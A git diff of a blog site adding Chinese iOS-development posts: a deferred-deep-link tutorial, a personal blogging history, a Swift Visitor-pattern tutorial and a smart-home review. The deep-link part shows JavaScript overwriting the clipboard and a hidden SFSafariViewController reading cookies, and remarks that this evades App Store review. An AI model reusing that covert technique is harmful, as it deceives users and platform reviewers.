+  if userActivity.activityType == NSUserActivityTypeBrowsingWeb, webpageURL = userActivity.webpageURL {
+    /// 如果是universal link url來源...
+    let params = webpageURL.queryParameters
+    
+    if params["type"] == "topic" {
+      let VC = TopicViewController(topicID:params["id"])
+      UIApplication.shared.keyWindow?.rootViewController?.present(VC,animated: true)
+    }
+  }
+  
+  return true  
+}
+

完成!

那還缺什麼?

目前看來已經很完美了,我們處理了所有會遇到的狀況,那還缺什麼?

如圖所示,如果是 未安裝 -> APP Store 安裝 -> APP Store 打開,來源所帶的資料就會中斷,APP 不知道來源所以就只會顯示首頁;使用者要再回到上一步網頁再點一次開啟,APP 才會驅動跳頁。

雖然這樣也不是不行,但考慮到跳出流失率,多一個步驟就是多一層流失,還有使用者體驗起來不順暢;更何況使用者未必這麼聰明。

進入本文重點

何謂 Deferred Deep Link?,延遲深度連結;就是讓我們的 Deep Link 可以延伸到 APP Store 安裝完後依然保有來源資料。

據 Android 工程師表示 Android 本身就有此功能,但在 iOS 上並不支援此設定、要達到此功能的做法也不友善,請繼續看下去。

如果不想花時間自己做的話可以直接使用 branch.ioFirebase Dynamic Links 本文介紹的方法就是 Firebase 使用的方式。

要達成 Deferred Deep Link 的效果網路上有兩種做法:

一種是透過使用者裝置、IP、環境…等等參數計算出一個雜湊值,在網頁端存入資料到伺服器;當 APP 安裝後打開用同樣方式計算,如果值相同則取出資料恢復(branch.io 的做法)。

另一種是本文要介紹的方法,同 Firebase 作法;使用 iPhone 剪貼簿和 Safari 與 APP Cookie 共享機制的方法,等於是把資料存在剪貼簿或Cookie,APP安裝完成後再去讀出來使用。

1
+
點擊「Open」後你的剪貼簿就會被 JavaScript 自動覆蓋複製上跳轉相關資訊:https://XXX.app.goo.gl/?link=https://XXX.net/topicID=1&type=topic
+

相信有套過 Firebase Dynamic Links 的人一定不陌生這個開啟跳轉頁,了解到原理之後就知道這頁在流程中是無法移除的!

另外 Firebase 也不提供進行樣式修改。

支援度

首先講個坑,支援度問題;如前所說的「不友善」!

如果 APP 只考慮 iOS ≥ 10 以上的話容易許多,APP 實作剪貼簿存取、Web 使用 JavaScript 將資訊覆蓋到剪貼簿,然後再跳轉到 APP Store 導下載就好。

iOS = 9 不支援JavaScript自動剪貼簿但支援 Safari 與 APP SFSafariViewController「Cookie 互通大法」

另外在 APP 需要偷偷在背景加入 SFSafariViewController 載入 Web,再從 Web 取得剛才點連結時存的Cookie資訊。

步驟繁瑣&連結點擊僅限 Safari瀏覽器。

[SFSafariViewController](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller){:target="_blank"}

SFSafariViewController

根據官方文件,iOS 11 已無法取得使用者的 Safari Cookie,若有這方面需求可使用 SFAuthenticationSession,但此方法無法在背景偷執行,每次載入前都會跳出以下詢問視窗:

_SFAuthenticationSession 詢問視窗_

SFAuthenticationSession 詢問視窗

還有就是 APP審查是不允許將SFSafariViewController放在使用者看不到的地方的。(用程式觸發再 addSubview 不太容易被發現)

動手做

先講簡單的,只考慮 iOS ≥ 10 以上的用戶,單純使用 iPhone 剪貼簿轉傳資訊。

Web 端:

我們仿造 Firebase Dynamic Links 客製化刻了自己的頁面,使用 clipboard.js 這個套件讓使用者點擊「立即前往」時先將我們要帶給 APP 的資訊複製到剪貼簿 (marry://topicID=1&type=topic) ,然後再使用 location.href 跳轉到 APP Store 商城頁。

APP 端:

在 AppDelegate 或 主頁 UIViewController 中讀取剪貼簿的值:

let pasteData = UIPasteboard.general.string

這邊建議還是將資訊使用 URL Scheme 方式包裝,方便進行辨識、資料反解:

1
+2
+3
+4
+5
+6
+
if let pasteData = UIPasteboard.general.string,let url = URL(string: pasteData),url.scheme == "marry",let params = url.queryParameters {
+    if params["type"] == "topic" {
+      let VC = TopicViewController(topicID:params["id"])
+      UIApplication.shared.keyWindow?.rootViewController?.present(VC,animated: true)
+    }
+}
+

最後在處理完動作後使用 UIPasteboard.general.string = “” 將剪貼簿中的資訊清除。

動手做 — 支援 iOS 9 版本

麻煩的來了,支援 iOS 9 版,前文有說由於不支援剪貼簿,要使用 Cookie 互通大法

Web 端:

web 端也算好處理,就是改成使用者點擊「立即前往」時將我們要帶給 APP 的資訊存到 Cookie (marry://topicID=1&type=topic) ,然後再使用 location.href 跳轉到 APP Store 商城頁。

這裡提供兩個封裝好的 JavaScript 處理 Cookie 的方法,加速開發:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+
/// name: Cookie 名稱
+/// val: Cookie 值
+/// day: Cookie 有效期限,預設1天
+/// EX1: setcookie("iosDeepLinkData","marry://topicID=1&type=topic")
+/// EX2: setcookie("hey","hi",365) = 一年有效
+function setcookie(name, val, day) {
+    var exdate = new Date();
+    day = day || 1;
+    exdate.setDate(exdate.getDate() + day);
+    document.cookie = "" + name + "=" + val + ";expires=" + exdate.toGMTString();
+}
+
+/// getCookie("iosDeepLinkData") => marry://topicID=1&type=topic
+function getCookie(name) {
+    var arr = document.cookie.match(new RegExp("(^| )" + name + "=([^;]*)(;|$)"));
+    if (arr != null) return decodeURI(arr[2]);
+    return null;
+}
+

APP 端:

本文最麻煩的地方來了。

前文有提到原理,我們要在主頁的UIViewController用程式偷偷加載一個SFSafariViewController 在背景不讓使用者察覺。

再說個坑: 偷偷加載這件事,iOS ≥ 10 SFSafariViewController 的 View如果大小設定小於1、透明度小於0.05、設成 isHidden,SFSafariViewController 就 不會載入

p.s iOS = 10 同時支援 Cookie 及 剪貼簿。

[https://stackoverflow.com/questions/39019352/ios10-sfsafariviewcontroller-not-working-when-alpha-is-set-to-0/39216788](https://stackoverflow.com/questions/39019352/ios10-sfsafariviewcontroller-not-working-when-alpha-is-set-to-0/39216788){:target="_blank"}

https://stackoverflow.com/questions/39019352/ios10-sfsafariviewcontroller-not-working-when-alpha-is-set-to-0/39216788

我這邊的做法是在 主頁的UIViewController 上方放一個 UIView 隨便給個高度,但底部對齊 主頁面 UIView 上方,然後拉 IBOutlet (sharedCookieView) 到 Class;在 viewDidLoad( ) 時 init SFSafariViewController 並將其 View 加入到 sharedCookieView 上,所以他實際有顯示有載入,只是跑出畫面了,使用者看不到🌝。

SFSafariViewController 的 URL 該指向?

同 Web 端分享頁面,我們要再刻一個 For 讀取 Cookie 的頁面,並將兩個頁面放在同個網域之下避免跨網域Cookie問題,頁面內容稍後附上。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+
@IBOutlet weak var SharedCookieView: UIView!
+
+override func viewDidLoad() {
+    super.viewDidLoad()
+    
+    let url = URL(string:"http://app.marry.com.tw/loadCookie.html")
+    let sharedCookieViewController = SFSafariViewController(url: url)
+    VC.view.frame = CGRect(x: 0, y: 0, width: 200, height: 200)
+    sharedCookieViewController.delegate = self
+    
+    self.addChildViewController(sharedCookieViewController)
+    self.SharedCookieView.addSubview(sharedCookieViewController.view)
+    
+    sharedCookieViewController.beginAppearanceTransition(true, animated: false)
+    sharedCookieViewController.didMove(toParentViewController: self)
+    sharedCookieViewController.endAppearanceTransition()
+}
+

sharedCookieViewController.delegate = self

class HomeViewController: UIViewController, SFSafariViewControllerDelegate

需要加上這個 Delegate 才能捕獲載入完成後的 CallBack 處理。

我們可以在:

func safariViewController(_ controller: SFSafariViewController, didCompleteInitialLoad didLoadSuccessfully: Bool) {

方法中捕獲載入完成事件。

到這步,你可能會想再來就是在 didCompleteInitialLoad 中讀取 網頁內的 Cookie 就完成了!

在這裡我沒找到讀取 SFSafariViewController Cookie 的方法,使用網路的方法讀出來都是空的。

或可能要使用 JavaScript 與頁面內容進行交互,叫 JavaScript 讀 Cookie 回傳給 UIViewController。

Tricky 的 URL Scheme 法

既然 iOS 不知到如何取得共享的 Cookie,那我們就直接交由「讀取 Cookie 的頁面」去幫我們「讀取 Cookie」。

前文附上的 JavaScript 處理 Cookie 的方法中的 getCookie( ) 就是用在這,我們的「讀取 Cookie 的頁面」內容是個空白頁(反正使用者看不到),但是在 JavaScript 部分要在 body onload 之後去讀取 Cookie:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+
<html>
+<head>
+  <title>Load iOS Deep Link Saved Cookie...</title>
+  <script>
+  function checkCookie() {
+    var iOSDeepLinkData = getCookie("iOSDeepLinkData");
+    if (iOSDeepLinkData && iOSDeepLinkData != '') {
+        setcookie("iOSDeepLinkData", "", -1);
+        window.location.href = iOSDeepLinkData; /// marry://topicID=1&type=topic
+    }
+  }
+  </script>
+</head>
+
+<body onload="checkCookie();">
+
+</body>
+
+</html>
+

實際的原理總結就是:在 HomeViewController viewDidLoad 時加入 SFSafariViewController 偷加載 loadCookie.html 頁面, loadCookie.html 頁面讀取檢查先前存的 Cookie,若有則讀出清除,然後使用 window.location.href 呼叫,觸發 URL Scheme 機制。

所以之後對應的 CallBack 處理就會回到 AppDelegate 中的 func application(_ application: UIApplication, open url: URL, sourceApplication: String?, annotation: Any) -&gt; Bool 進行處理。

完工!總結:

如果覺得煩瑣,可以直接使用 branch.ioFirebase Dynamic 沒必要重造輪子,這邊是因為介面客製化及一些複雜需求,只好自己打造。

iOS=9 的用戶已經非常稀少,不是很必要的話可以直接忽略;使用剪貼簿的方法快又有效率,而且用剪貼簿就不用局限連結一定要用 Safari 開啟!

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

iOS ≥ 13.1 使用「捷徑」自動化功能搭配米家智慧家居

iOS UIViewController 轉場二三事

diff --git a/posts/b7a3fb3d5531/index.html b/posts/b7a3fb3d5531/index.html new file mode 100644 index 000000000..cec0b7c38 --- /dev/null +++ b/posts/b7a3fb3d5531/index.html @@ -0,0 +1 @@ + Medium的第一篇 | ZhgChgLi
Home Medium的第一篇
Post
Cancel

Medium的第一篇

萬事起頭難

已經超過4年沒有在經營Blog,之前的廣告收益尾款US$88就這樣一直卡著,最近發現可以主動要求取消Adsense帳戶,只要達到最低給付額度Google就會把最後一筆收益給你;這也算是給了我一個動力再回來寫Blog.

初來乍到,就用“萬事起頭難” 這個簡單的標題當作開端

回想起寫Blog的歷史,大約是在國中正值最瘋遊戲的時期,那時候家中電腦很爛基本沒什麼遊戲可以玩,但在那個貪玩的年紀,就算沒遊戲可以打還是要每天打開電腦,對那時候的我來說就已經很新鮮了.

由於以上因素,所以大部分用電腦的時間我都在用即時通跟同學喇賽、逛逛網頁;可想而知,其實很空洞又缺乏成就感(至少別人玩遊戲還能獲得成就感)

而就在那時”Blog”正值興盛時期這個對我來說非常的新鮮;而第一個接觸的當然就是紅極一時的無名小站,當我辦好帳號第一次打開Blog的那個時刻心情就是「哇!有自己的網站」、「哇!還可以換樣式好酷」;剛好學校電腦課有教網頁設計(Front-Page 2003/ 阿聖網站 ),所以第一個Blog都在研究功能上的項目;找素材、玩樣式跟裝很多很“夏趴”的JavaScript外掛,反觀內容質量部分基本上都是廢文.

這讓當時對網路世界懵懂無知的我有了更深入的認識,例如:如何找資料?、外掛裝上去壞掉怎麼解決?、圖片怎麼嵌入?….等等

其中有許多資料都是由論壇取得,當時也是”論壇”的興盛時期,但我就是標準的潛水客只看不發,偶爾回個文「感謝大大無私分享」;在逛各大論壇的時候發現有”免費論壇”這種東西,申請就能當站長有自己的論壇,Level相比Blog又更高一層了,這次是“站長”、“站長”、“站長” 好酷!!

結合之前玩轉Blog設定的基礎,論壇可以玩的設定又多更多(開版/會員權限/插件中心) 什麼都可以自己設定,宛如進入到另一個世界

免費論壇系統有很多家;當中一直換來換去不斷的嘗試,有的是功能不完全、有的是不自由、有的不穩定、有的廣告太干擾,最後比較有印象的是 Marlito ,最符合我的需求,也在上面經營得最久.

與此同時,Blog也搬家到” 優仕網部落格 ”;起因是無名開始限制東限制西,優仕網那時候剛起步,先來先贏、限制少、功能符合需求,這次有在經營文章內容,7成在分享我覺得好用的程式(類似阿榮福利味)另外3成是玩論壇的經驗分享(設定/BUG處理)

文章總數大約30篇,瀏覽量一天約200人/最高500人(現在看來沒什麼)、優仕網部落格排行榜前10名,流量幾乎都來在分享好用程式的文章;認真經營了一年多,再來遇到國三忙課業、上高中,一路斷斷續續,之後又參加選手培訓就放著養蚊子了。

由於Blog名稱太中二,只放上瀏覽數截圖

由於Blog名稱太中二,只放上瀏覽數截圖

之後又再創了一個 Blogger 都是技術面的文章紀錄寫程式遇到的問題跟解決方法;但Blogger不好用,基本功能都無法滿足,寫了幾篇就放棄了

後期自己申請網域跟買空間架了一個WordPress Blog,但什麼都要自己來、設定、調整功能…我無法專注在寫內容這件事上ㄧ樣是斷斷續續在寫,空間到期後就不續約網站直接下線直到現在。

總結,一路走來從對Blog這個東西感到很新鮮->到->研究玩轉Blog的功能->到->開始專注Blog本質-文章內容->到->分享技術型文章

懶了、少了紀錄過程及回頭檢視和分享出來、嘗過廣告收益的甜頭,漸漸地離初衷越來越遠,單純熱心想要與大家分享的那顆心

[https://www.flickr.com/photos/zuvonne/3738631215](https://www.flickr.com/photos/zuvonne/3738631215){:target="_blank"}

https://www.flickr.com/photos/zuvonne/3738631215

給自己一個新目標,教學相長為初衷,開始重新紀錄生活!

  1. 技術面的:iOS App開發,Swift,PHP,Mysql…
  2. 生活面的:工作、攝影、開箱、Murmur有的沒的
  3. 經驗面的:最近在碰機器學習,從0開始的過程
  4. 故事面的:技能競賽經歷、生活觀察

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

-

iOS UITextView 文繞圖編輯器 (Swift)

diff --git a/posts/ba5773a7bfea/index.html b/posts/ba5773a7bfea/index.html new file mode 100644 index 000000000..f4b427172 --- /dev/null +++ b/posts/ba5773a7bfea/index.html @@ -0,0 +1,577 @@ + Visitor Pattern in iOS (Swift) | ZhgChgLi
Home Visitor Pattern in iOS (Swift)
Post
Cancel

Visitor Pattern in iOS (Swift)

Visitor Pattern in Swift

Design Pattern Visitor 的實際應用場景分析

Photo by [Daniel McCullough](https://unsplash.com/@d_mccullough?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Daniel McCullough

前言

「Design Pattern」從知道有這個東西到現在也超過 10 年了依然沒辦法有自信的說能完全掌握,一直以來都是矇矇懂懂的,也好幾次從頭到尾把所有模式都看過一遍,但看了沒內化、沒在實務上應用很快就忘了。

我真的廢。

內功與招式

曾經看到的一個很好的比喻 ,招式部分如:PHP、Laravel、iOS、Swift、SwiftUI…之類的應用,其實在其中切換學習門檻都不算高;但內功部分如:演算法、資料結構、設計模式…等等都屬於內功;內功與招式之間有著相輔相成的效果;但是招式好學,內功難練;招式厲害的內功不一定厲害,內功厲害的也可以很快學會招式,所以與其說相輔相成不如說內功才是基礎,搭配招式才能所向披靡。

找到適合自己的學習方式

基於之前的學習經驗,我認為適合我自己的學習 Design Pattern 方式是 — 先精再通;先著重於精通幾個模式,要能內化跟靈活運用,還要培養出嗅覺,能判斷什麼場景適合什麼場景不適合;再一步一步的累積新模式,直到全部掌握;我覺得最好的方式就是多找實務場境,從應用中學習。

學習資源

推薦兩個免費的學習資源

Visitor — Behavioral Patterns

第一章紀錄的是 Visitor Pattern,這也是在街聲工作一年挖到的金礦之一,在 StreetVoice App 中有諸多善用 Visitor 解決架構問題的地方;我也在這段經歷之中席的了 Visitor 的原理精髓;所以第一章就來寫它!

Visitor 是什麼

首先請先了解 Visitor 是什麼?想要解決什麼問題?組成結構是什麼?

圖片取自 [refactoringguru](https://refactoringguru.cn/design-patterns/visitor){:target="_blank"}

圖片取自 refactoringguru

詳細內容這邊不再重複贅述,請先直接參考 refactoringguru 對於 Visitor 的講解

iOS 實務場景(一)

假設今天我們有以下幾個 Model:UserModel、SongModel、PlaylistModel 這三個 Model,現在我們要實作分享功能,可以分享到:Facebook、Line、Instagram,這三個平台;每個 Model 需要呈現的分享訊息皆為不同、每個平台需要的資料也各有不同:

組合場景如上圖,第一個表格顯示各 Model 的客製化內容、第二個表格顯示各分享平台需要的資料。

尤其 Instagram 在分享 Playlist 時要多張圖片,跟其他分享要的 source 不一樣。

定義 Model

首先把各個 Model 有哪些 Property 定義完成:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+
// Model
+struct UserModel {
+    let id: String
+    let name: String
+    let profileImageURLString: String
+}
+
+struct SongModel {
+    let id: String
+    let name: String
+    let user: UserModel
+    let coverImageURLString: String
+}
+
+struct PlaylistModel {
+    let id: String
+    let name: String
+    let user: UserModel
+    let songs: [SongModel]
+    let coverImageURLString: String
+}
+
+// Data
+
+let user = UserModel(id: "1", name: "Avicii", profileImageURLString: "https://zhgchg.li/profile/1.png")
+
+let song = SongModel(id: "1",
+                     name: "Wake me up",
+                     user: user,
+                     coverImageURLString: "https://zhgchg.li/cover/1.png")
+
+let playlist = PlaylistModel(id: "1",
+                            name: "Avicii Tribute Concert",
+                            user: user,
+                            songs: [
+                                song,
+                                SongModel(id: "2", name: "Waiting for love", user: UserModel(id: "1", name: "Avicii", profileImageURLString: "https://zhgchg.li/profile/1.png"), coverImageURLString: "https://zhgchg.li/cover/3.png"),
+                                SongModel(id: "3", name: "Lonely Together", user: UserModel(id: "1", name: "Avicii", profileImageURLString: "https://zhgchg.li/profile/1.png"), coverImageURLString: "https://zhgchg.li/cover/1.png"),
+                                SongModel(id: "4", name: "Heaven", user: UserModel(id: "1", name: "Avicii", profileImageURLString: "https://zhgchg.li/profile/1.png"), coverImageURLString: "https://zhgchg.li/cover/4.png"),
+                                SongModel(id: "5", name: "S.O.S", user: UserModel(id: "1", name: "Avicii", profileImageURLString: "https://zhgchg.li/profile/1.png"), coverImageURLString: "https://zhgchg.li/cover/5.png")],
+                            coverImageURLString: "https://zhgchg.li/playlist/1.png")
+

什麼都沒想的做法

完全不考慮架構,先上一個什麼都沒想的最髒做法。

周星馳 — 食神

周星馳 — 食神

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+
class ShareManager {
+    private let title: String
+    private let urlString: String
+    private let imageURLStrings: [String]
+
+    init(user: UserModel) {
+        self.title = "Hi 跟你分享一位很讚的藝人\(user.name)。"
+        self.urlString = "https://zhgchg.li/user/\(user.id)"
+        self.imageURLStrings = [user.profileImageURLString]
+    }
+
+    init(song: SongModel) {
+        self.title = "Hi 與你分享剛剛聽到一首很讚的歌,\(song.user.name)\(song.name)。"
+        self.urlString = "https://zhgchg.li/user/\(song.user.id)/song/\(song.id)"
+        self.imageURLStrings = [song.coverImageURLString]
+    }
+
+    init(playlist: PlaylistModel) {
+        self.title = "Hi 這個歌單我聽個不停 \(playlist.name)。"
+        self.urlString = "https://zhgchg.li/user/\(playlist.user.id)/playlist/\(playlist.id)"
+        self.imageURLStrings = playlist.songs.map({ $0.coverImageURLString })
+    }
+
+    func shareToFacebook() {
+        // call Facebook share sdk...
+        print("Share to Facebook...")
+        print("[![\(self.title)](\(String(describing: self.imageURLStrings.first))](\(self.urlString))")
+    }
+
+    func shareToInstagram() {
+        // call Instagram share sdk...
+        print("Share to Instagram...")
+        print(self.imageURLStrings.joined(separator: ","))
+    }
+
+    func shareToLine() {
+        // call Line share sdk...
+        print("Share to Line...")
+        print("[\(self.title)](\(self.urlString))")
+    }
+}
+

沒啥好說的,就是 0 架構全攪和在一起,如果今天要新加一個分享平台、更改某個平台的分享資訊、增加一個可分享的 Model 都要動到 ShareManager;另外 imageURLStrings 的設計因是考量到 Instagram 在分享歌單時需要圖片組資料所以才宣告成陣列,這有點倒因為果變成照需求去設計架構,其他不需要圖片組的類型也遭到污染。

優化一下

稍微分離一下邏輯。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+
protocol Shareable {
+    func getShareText() -> String
+    func getShareURLString() -> String
+    func getShareImageURLStrings() -> [String]
+}
+
+extension UserModel: Shareable {
+    func getShareText() -> String {
+        return "Hi 跟你分享一位很讚的藝人\(self.name)。"
+    }
+
+    func getShareURLString() -> String {
+        return "https://zhgchg.li/user/\(self.id)"
+    }
+
+    func getShareImageURLStrings() -> [String] {
+        return [self.profileImageURLString]
+    }
+}
+
+extension SongModel: Shareable {
+    func getShareText() -> String {
+        return "Hi 與你分享剛剛聽到一首很讚的歌,\(self.user.name)\(self.name)。"
+    }
+
+    func getShareURLString() -> String {
+        return "https://zhgchg.li/user/\(self.user.id)/song/\(self.id)"
+    }
+
+    func getShareImageURLStrings() -> [String] {
+        return [self.coverImageURLString]
+    }
+}
+
+extension PlaylistModel: Shareable {
+    func getShareText() -> String {
+        return "Hi 這個歌單我聽個不停 \(self.name)。"
+    }
+
+    func getShareURLString() -> String {
+        return "https://zhgchg.li/user/\(self.user.id)/playlist/\(self.id)"
+    }
+
+    func getShareImageURLStrings() -> [String] {
+        return [self.coverImageURLString]
+    }
+}
+
+protocol ShareManagerProtocol {
+    var model: Shareable { get }
+    init(model: Shareable)
+    func share()
+}
+
+class FacebookShare: ShareManagerProtocol {
+    let model: Shareable
+
+    required init(model: Shareable) {
+        self.model = model
+    }
+
+    func share() {
+        // call Facebook share sdk...
+        print("Share to Facebook...")
+        print("[![\(model.getShareText())](\(String(describing: model.getShareImageURLStrings().first))](\(model.getShareURLString())")
+    }
+}
+
+class InstagramShare: ShareManagerProtocol {
+    let model: Shareable
+
+    required init(model: Shareable) {
+        self.model = model
+    }
+
+    func share() {
+        // call Instagram share sdk...
+        print("Share to Instagram...")
+        print(model.getShareImageURLStrings().joined(separator: ","))
+    }
+}
+
+class LineShare: ShareManagerProtocol {
+    let model: Shareable
+
+    required init(model: Shareable) {
+        self.model = model
+    }
+
+    func share() {
+        // call Line share sdk...
+        print("Share to Line...")
+        print("[\(model.getShareText())](\(model.getShareURLString())")
+    }
+}
+

我們抽離出一個 CanShare Protocol,凡是 Model 有遵循這個協議都能支援分享;分享的部分也抽離出 ShareManagerProtocol,有新的分享只要實現協議內容即可、要修改刪除也都不會影響其他 ShareManager。

但 getShareImageURLStrings 依然詭異,另外假設今天新增的分享平台需求的 Model 資料天壤之別,例如微信分享還需要播放次數、創建日期…等資訊,只有他要,這時候就會開始變得混亂。

Visitor

使用 Visitor Pattern 的解法。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+
// Visitor Version
+protocol Shareable {
+    func accept(visitor: SharePolicy)
+}
+
+extension UserModel: Shareable {
+    func accept(visitor: SharePolicy) {
+        visitor.visit(model: self)
+    }
+}
+
+extension SongModel: Shareable {
+    func accept(visitor: SharePolicy) {
+        visitor.visit(model: self)
+    }
+}
+
+extension PlaylistModel: Shareable {
+    func accept(visitor: SharePolicy) {
+        visitor.visit(model: self)
+    }
+}
+
+protocol SharePolicy {
+    func visit(model: UserModel)
+    func visit(model: SongModel)
+    func visit(model: PlaylistModel)
+}
+
+class ShareToFacebookVisitor: SharePolicy {
+    func visit(model: UserModel) {
+        // call Facebook share sdk...
+        print("Share to Facebook...")
+        print("[![Hi 跟你分享一位很讚的藝人\(model.name)。](\(model.profileImageURLString)](https://zhgchg.li/user/\(model.id)")
+    }
+    
+    func visit(model: SongModel) {
+        // call Facebook share sdk...
+        print("Share to Facebook...")
+        print("[![Hi 與你分享剛剛聽到一首很讚的歌,\(model.user.name)\(model.name),他被播方式。](\(model.coverImageURLString))](https://zhgchg.li/user/\(model.user.id)/song/\(model.id)")
+    }
+    
+    func visit(model: PlaylistModel) {
+        // call Facebook share sdk...
+        print("Share to Facebook...")
+        print("[![Hi 這個歌單我聽個不停 \(model.name)。](\(model.coverImageURLString))](https://zhgchg.li/user/\(model.user.id)/playlist/\(model.id)")
+    }
+}
+
+class ShareToLineVisitor: SharePolicy {
+    func visit(model: UserModel) {
+        // call Line share sdk...
+        print("Share to Line...")
+        print("[Hi 跟你分享一位很讚的藝人\(model.name)。](https://zhgchg.li/user/\(model.id)")
+    }
+    
+    func visit(model: SongModel) {
+        // call Line share sdk...
+        print("Share to Line...")
+        print("[Hi 與你分享剛剛聽到一首很讚的歌,\(model.user.name)\(model.name),他被播方式。]](https://zhgchg.li/user/\(model.user.id)/song/\(model.id)")
+    }
+    
+    func visit(model: PlaylistModel) {
+        // call Line share sdk...
+        print("Share to Line...")
+        print("[Hi 這個歌單我聽個不停 \(model.name)。](https://zhgchg.li/user/\(model.user.id)/playlist/\(model.id)")
+    }
+}
+
+class ShareToInstagramVisitor: SharePolicy {
+    func visit(model: UserModel) {
+        // call Instagram share sdk...
+        print("Share to Instagram...")
+        print(model.profileImageURLString)
+    }
+    
+    func visit(model: SongModel) {
+        // call Instagram share sdk...
+        print("Share to Instagram...")
+        print(model.coverImageURLString)
+    }
+    
+    func visit(model: PlaylistModel) {
+        // call Instagram share sdk...
+        print("Share to Instagram...")
+        print(model.songs.map({ $0.coverImageURLString }).joined(separator: ","))
+    }
+}
+
+// Use case
+let shareToInstagramVisitor = ShareToInstagramVisitor()
+user.accept(visitor: shareToInstagramVisitor)
+playlist.accept(visitor: shareToInstagramVisitor)
+
+

我們逐行來看做了什麼:

  • 首先我們創建了一個 Shareable 的 Protocol,其目的只是方便我們管理 Model 支援分享 Visitor 有統一的接口 (不定義也行)。
  • UserModel/SongModel/PlaylistModel 實現 Shareable func accept(visitor: SharePolicy) ,之後如果有新增支援分享的 Model 也只需實現協議
  • 定義出 SharePolicy 列出所支援的 Model (must be concrete type) 或許你會想為何不定義成 visit(model: Shareable) 如果是這樣就重蹈上一版的問題了
  • 各個 Share 方法實現 SharePolicy,各自依照 source 去組合需要的資源
  • 假設今天多一個微信分享,他要的資料比較特別(播放次數、創建日期),也不會影響現有程式碼,因為他能從 concrete model 拿到他自己需要的資訊。

達成低耦合、高聚合的程式開發目標。

以上是經典的 Visitor Double Dispatch 實現,但我們日常開發上比較少會遇到這種狀況,一般常見的狀況可能只會有一個 Visitor,但我覺得也很適合使用這套模式組合,例如今天有一個 SaveToCoreData 的需求,我們也可以直接定義 accept(visitor: SaveToCoreDataVisitor) ,不多宣告出 Policy Protocol,也是個很好的使用架構。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+
protocol Saveable {
+  func accept(visitor: SaveToCoreDataVisitor)
+}
+
+class SaveToCoreDataVisitor {
+    func visit(model: UserModel) {
+        // map UserModel to coredata
+    }
+    
+    func visit(model: SongModel) {
+        // map SongModel to coredata
+    }
+    
+    func visit(model: PlaylistModel) {
+        // map PlaylistModel to coredata
+    }
+}
+

其他應用:Save、Like、tableview/collectionview cellforrow….

原則

最後講一下一些共通原則

  • Code 是給人讀的,切勿 Over Designed
  • 統一很重要,同樣的場境同個 Codebase 應該使用同個架構方法
  • 如果範圍是可控的或不可能出現其他狀況,這時候如果還繼續往下拆分就可以認為是 Over Designed
  • 多應用、少發明;Design Pattern 已經在軟體設計領域好幾十年,他所考量到的場景一定比我們創造一個新的架構還來的完善
  • 看不懂 Design Pattern 可以學,但如果是自己創造的架構就比較難說服別人學,因為學了可能也只能用在這個 Case 上,他就不是一個 Common sense
  • 程式碼重複不代表不好,如果一昧追求封裝可能導致 Over Designed;一樣回到前面幾點,程式是給人讀的,所以只要是好讀加上低耦合高聚合都是好的 Code
  • 勿魔改 Pattern,人家設計一定有他的道理,如果亂魔改可能導致某些場景出現問題
  • 只要開始繞路就會越繞越遠,程式會越來越髒

inspired by @saiday

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

Slack 打造全自動 WFH 員工健康狀況回報系統

Leading Snowflakes 閱讀筆記

diff --git a/posts/bcff7c157941/index.html b/posts/bcff7c157941/index.html new file mode 100644 index 000000000..ada775023 --- /dev/null +++ b/posts/bcff7c157941/index.html @@ -0,0 +1 @@ + 小米智慧家居新添購 | ZhgChgLi
Home 小米智慧家居新添購
Post
Cancel

小米智慧家居新添購

小米智慧家居新添購

AI音箱、溫濕度感應器、體重計2、直流變頻電風扇 使用心得

入坑

既上一篇「 智慧家居初體驗 — Apple HomeKit & 小米米家 」入手&介紹如何使用小米智慧家居後;又持續買了幾樣小米居家產品,並且想盡辦法讓所有家電都智慧化….只能說真的是個坑,起初只是想買個檯燈覺得小米美美的,順帶研究了智慧功能,就這樣入坑了!

新添購 — 小米AI音箱

價格:NT$ 1,495

特色:

  1. 可語音控制米家所有串連的智慧設備
  2. 台灣地區送 KKBOX 會員 3 個月
